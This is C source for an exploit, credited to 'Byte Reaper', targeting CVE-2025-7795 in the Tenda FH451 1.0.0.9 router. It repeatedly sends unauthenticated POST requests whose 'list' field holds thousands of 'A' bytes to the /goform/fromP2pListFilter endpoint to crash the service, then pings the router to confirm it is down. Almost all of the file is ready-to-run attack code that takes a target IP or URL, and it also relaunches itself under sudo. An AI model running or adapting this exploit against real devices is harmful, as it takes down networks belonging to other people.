/* * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-7795 * Vulnerability : Buffer Overflow * Description : * A buffer overflow vulnerability affecting certain Tenda routers, * exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash. */ #include #include #include #include "argparse.h" #include #include #include #include #define FULL_URL 2500 #define POST_DATA 10000 const char *targetUrl = NULL; const char *targetip = NULL; int selectIp = 0; int selectUrl = 0; int verbose = 0; int showOne = 0; char postData[POST_DATA]; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (!tmp) return 0; m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void pingPacket() { int pid = fork(); printf("\n============================================== [Ping] ==============================================\n"); if (pid < 0) { perror("\e[1;31m[-] Fork Failed!\e[0m"); exit(1); } if (pid == 0) { printf("\e[1;32m[+] Child Process (Ping) -> PID: %d\e[0m\n", getpid()); char *const argv[] = { "/bin/ping", "-c", "3", (char *)targetip, NULL }; char *const envp[] = { NULL }; __asm__ volatile ( "mov $59, %%rax\n\t" "mov %[prog], %%rdi\n\t" "mov %[argv], %%rsi\n\t" "mov %[envp], %%rdx\n\t" "syscall\n\t" "mov $60, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : [prog] "r" (argv[0]), [argv] "r" (argv), [envp] "r" (envp) : "rax", "rdi", "rsi", "rdx" ); } else { printf("\e[1;32m[+] Main PID : %d\e[0m\n", getpid()); int status; waitpid(pid, &status, 0); if (WIFEXITED(status)) { int code = WEXITSTATUS(status); printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n", code); if (code == 0) { printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n"); printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m"); } else { printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n"); printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n"); } } } printf("\n============================================================================================\e[0m\n"); } void sendRequest() { CURL *c = curl_easy_init(); CURLcode res; char full[FULL_URL]; struct Mem response = {NULL, 0}; if (!c) { printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n"); exit(EXIT_FAILURE); } if (targetip) selectIp = 1; if (targetUrl) selectUrl = 1; if (selectIp) { snprintf(full, sizeof(full), "http://%s/goform/fromP2pListFilter", targetip); } if (selectUrl) { snprintf(full, sizeof(full), "%s/goform/fromP2pListFilter", targetUrl); } int rounds = 5; int baseLen = 3500, step = 1000; showOne = 1; for (int i = 0; i < rounds; i++) { int len = baseLen + i * step; if (len + 6 >= sizeof(postData)) break; snprintf(postData, sizeof(postData), "list="); memset(postData + 5, 'A', len); postData[5 + len] = '\0'; printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n", i+1, i+1, len); if (verbose) { printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n"); printf("%s\e[0m\n\n", postData); printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n"); } curl_easy_reset(c); curl_easy_setopt(c, CURLOPT_URL, full); curl_easy_setopt(c, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(c, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(c, CURLOPT_POST, 1L); curl_easy_setopt(c, CURLOPT_POSTFIELDS, postData); curl_easy_setopt(c, CURLOPT_POSTFIELDSIZE, (long)strlen(postData)); curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(c, CURLOPT_WRITEDATA, &response); curl_easy_setopt(c, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(c, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(c, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(c, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *h = NULL; h = curl_slist_append(h, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); h = curl_slist_append(h, "Referer: http://example.com"); h = curl_slist_append(h, "Cache-Control: no-cache"); h = curl_slist_append(h, "Pragma: no-cache"); curl_easy_setopt(c, CURLOPT_HTTPHEADER, h); if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L); char *encode1 = curl_easy_escape(c, full, 0); if (!encode1) { printf("\e[1;31m[-] URL encoding failed for payload\e[0m\n"); exit(EXIT_FAILURE); } if (verbose && showOne) { printf("\e[1;37m========================================="); if (selectUrl) printf("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n", targetUrl, encode1, full); if (selectIp) printf("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n", targetip, full); printf("========================================="); showOne = 0; } res = curl_easy_perform(c); curl_slist_free_all(h); curl_free(encode1); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } if (res == CURLE_OK) { long httpCode = 0; printf("\e[1;36m[+] Request sent successfully\e[0m\n"); curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;32m[+] Http Code Response : %ld\e[0m\n", httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;31m[-] The server was not affected, still working !\n"); printf("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n"); printf("%s\e[0m\n", response.buffer); printf("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n"); } else { printf("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n"); printf("[+] Run Command Ping For Check Connection : \e[0m\n"); if (selectIp) pingPacket(); else printf("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n"); } } else { printf("[-] Error Send Request, Please Check Your Connection !\e[0m\n"); printf("[-] Error : %s\n", curl_easy_strerror(res)); } } free(response.buffer); curl_easy_cleanup(c); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▌▙▖ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▄▌▄▌ \n" " \e[1;37mByte Reaper\e[0m\n" ); printf("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n"); if (getuid() != 0) { printf("===================================================\e[0m\n"); printf("[-] Not running as root. Trying with sudo...\e[0m\n"); char *args[] = {(char*)"sudo", (char*)"./exploit", NULL}; execvp("sudo", args); perror("[-] Error Run Exploit in Root !"); __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : : "rdi" ); } printf("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n"); printf("===================================================\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &targetip, "Enter Target IP"), OPT_STRING('u', "url", &targetUrl, "Enter Target URL"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!targetip && !targetUrl) { printf("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n"); printf("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n"); printf("[+] OR \n"); printf("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n"); __asm__ volatile( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "1:\n\t" "syscall\n\t" : : : "rax", "rdi", "rsi" ); } if (targetip && targetUrl) { printf("[+] Please Enter Traget URL OR Traget Ip address, Exit...\e[0m\n"); __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rdi" ); } if (selectIp) { sendRequest(); } else { sendRequest(); } return 0; }